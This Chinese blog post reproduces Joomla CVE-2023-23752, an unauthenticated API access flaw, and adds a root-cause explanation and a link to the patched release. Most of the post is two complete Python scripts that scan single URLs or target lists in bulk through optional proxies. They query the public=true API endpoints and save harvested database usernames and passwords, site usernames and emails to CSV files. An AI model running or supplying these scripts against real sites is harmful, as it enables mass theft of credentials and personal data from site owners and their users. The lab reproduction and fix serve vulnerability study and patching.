一、Joomla 是什么?
Joomla 是一款开源的内容管理系统 (CMS),使用 PHP 编写,支持 MySQL、MSSQL 和 PostgreSQL 等多种数据库系统。
二、CVE-2023-23752
此漏洞导致任意用户未经授权可访问服务器 REST API 接口。
三、受影响版本
4.0.0 <= Joomla <= 4.2.7
四、漏洞复现
下载地址:http://www.joomlachina.cn/download/joomla/Joomla_4.2.3-Stable-Full_Package.zip
以下为两个为检测此漏洞的脚本 PoC
CVE-2023-23752.py
# -*- coding: utf-8 -*-
import requests
import argparse
import threading
import sys
import re
import time
def cmd_line():
parse = argparse.ArgumentParser(
description="Joomla 未授权访问漏洞 CVE-2023-23752",
usage='''
python CVE-2023-23752.py -u url
python CVE-2023-23752.py -f file.txt
python CVE-2023-23752.py -f file.txt -o out_file.csv
python CVE-2023-23752.py -f file.txt -p socks5://127.0.0.1:8080
''', add_help=True)
parse.add_argument('-u', '--url', help="指定webshell地址")
parse.add_argument('-f', '--file', help="指定文件")
parse.add_argument('-p', '--proxy', help="设置代理,如socks5://127.0.0.1:7890 [clash]")
parse.add_argument('-o', '--output', help="将结果输出到文件", default=str(time.time()) + ".csv")
if len(sys.argv) == 1:
sys.argv.append('-h')
return parse.parse_args()
def poc(url, proxy_server, output_file):
try:
if url[-1:] == '/':
url = str(url).strip('/')
payload = "{}/api/index.php/v1/config/application?public=true".format(url)
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"}
response = requests.get(url=payload, proxies={"http": proxy_server, "https": proxy_server}, headers=header)
html = response.text
if "password" in html:
print("[+] 漏洞存在![✅]url: {}".format(url))
pattern = re.compile(r'\{"user":"(.*?)","id":')
username = pattern.findall(html)[0]
print('用户名: ' + username)
pattern = re.compile(r'\{"password":"(.*?)","id":')
password = pattern.findall(html)[0]
print('密码: ' + password)
if output_file:
with open(output_file, 'a', encoding='utf-8') as f:
f.write('{0},{1},{2},{3}\n'.format(url, payload, username, password))
else:
print("[x] 未检测到漏洞![x] url: {}".format(url))
except:
print("[!] URL连接失败![!] url: {}".format(url))
def file(url, file, proxy_server, output_file):
with open(file, 'r', encoding='utf-8') as f:
urls = f.readlines()
threads = []
for url in urls:
t = threading.Thread(target=poc, args=(url.strip(), proxy_server, output_file))
threads.append(t)
t.start()
if __name__ == "__main__":
args = cmd_line()
if args.file:
file(args.url, args.file, args.proxy, args.output)
else:
poc(args.url, args.proxy, args.output)
main.py
import requests
import argparse
import csv
import json
timeout = 10
output = ""
proxy = {}
notColor = False
def inGreen(s):
return "\033[0;32m{}\033[0m".format(s)
def inYellow(s):
return "\033[0;33m{}\033[0m".format(s)
def readFile(filepath):
file = open(filepath, encoding='utf8')
return file.readlines()
def writeFile(filepath, data):
file = open(filepath, 'a', encoding='utf8')
filecsv = csv.writer(file)
filecsv.writerow(data)
def reqDatabase(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/config/application?public=true".format(url)
else:
url = "{}/api/index.php/v1/config/application?public=true".format(url)
payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
# print(response.text)
if "links" in response.text and "\"password\":" in response.text:
try:
rejson = json.loads(response.text)
user = ""
password = ""
for dataone in rejson['data']:
# print(dataone['attributes'])
if "user" in dataone['attributes']:
user = dataone['attributes']['user']
if "password" in dataone['attributes']:
password = dataone['attributes']['password']
if user != "" or password != "":
printBody = "[+] [Database] {} --> {} / {}".format(url, user, password)
if notColor:
print(printBody)
else:
print(inYellow(printBody))
if output.strip() != "":
writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])
return url, response.text
except:
pass
def reqUserAndEmail(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/users?public=true".format(url)
else:
url = "{}/api/index.php/v1/users?public=true".format(url)
payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
if "username" in response.text and "email" in response.text:
try:
rejson = json.loads(response.text)
for dataone in rejson['data']:
username = ""
email = ""
# print(dataone['attributes'])
if "username" in dataone['attributes']:
username = dataone['attributes']['username']
if "email" in dataone['attributes']:
email = dataone['attributes']['email']
if username != "" or email != "":
printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)
if notColor:
print(printBody)
else:
print(inGreen(printBody))
if output.strip() != "":
writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])
return url, response.text
except:
pass
def reqs(listfileName):
urls = readFile(listfileName)
for url in urls:
url = url.strip()
if url == "":
continue
reqDatabase(url)
reqUserAndEmail(url)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")
parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")
parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")
parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080")
parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true")
opt = parser.parse_args()
args = vars(opt)
url = args['url']
urlFileName = args['listfile']
global output, proxy, notColor
output = args['output']
proxy['http'] = args['proxy']
proxy['https'] = args['proxy']
notColor = args['notColor']
if url != "":
reqDatabase(url)
if urlFileName != "":
reqs(urlFileName)
if __name__ == '__main__':
main()
虚拟机装上小皮面板
![图片[1]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全](https://wordpress-1251526205.file.myqcloud.com/uploads/2023/03/20230306154942682.png/d2F0ZXJtYXJr)
访问 http://10.211.55.28:9080/F0B48F 进入小皮面板,装上 LAMP 环境,此 Joomla 版本要求 PHP 最低要 7.2.5 版本
![图片[2]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全](https://wordpress-1251526205.file.myqcloud.com/uploads/2023/03/20230306155015381.png/d2F0ZXJtYXJr)
在本地 shell 中执行脚本
![图片[3]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全](https://wordpress-1251526205.file.myqcloud.com/uploads/2023/03/20230306155058779.png/d2F0ZXJtYXJr)
构建 url 路径及相关参数后可直接实现未授权访问,得到敏感信息
![图片[4]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全](https://wordpress-1251526205.file.myqcloud.com/uploads/2023/03/20230306155132690.png/d2F0ZXJtYXJr)
五、原理
Joomla 中由于/api/index.php 入口路由存在访问检查错误,route.var 中的变量会被请求的变量覆盖,当 public=true
时接口不需要身份验证,直接到达路由分发。远程攻击者可以对 web 服务端点进行未经授权的访问。
https://ost.51cto.com/posts/21411
六、解决办法
官方已发布漏洞补丁及修复版本:https://github.com/joomla/joomla-cms/releases/tag/4.2.8
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容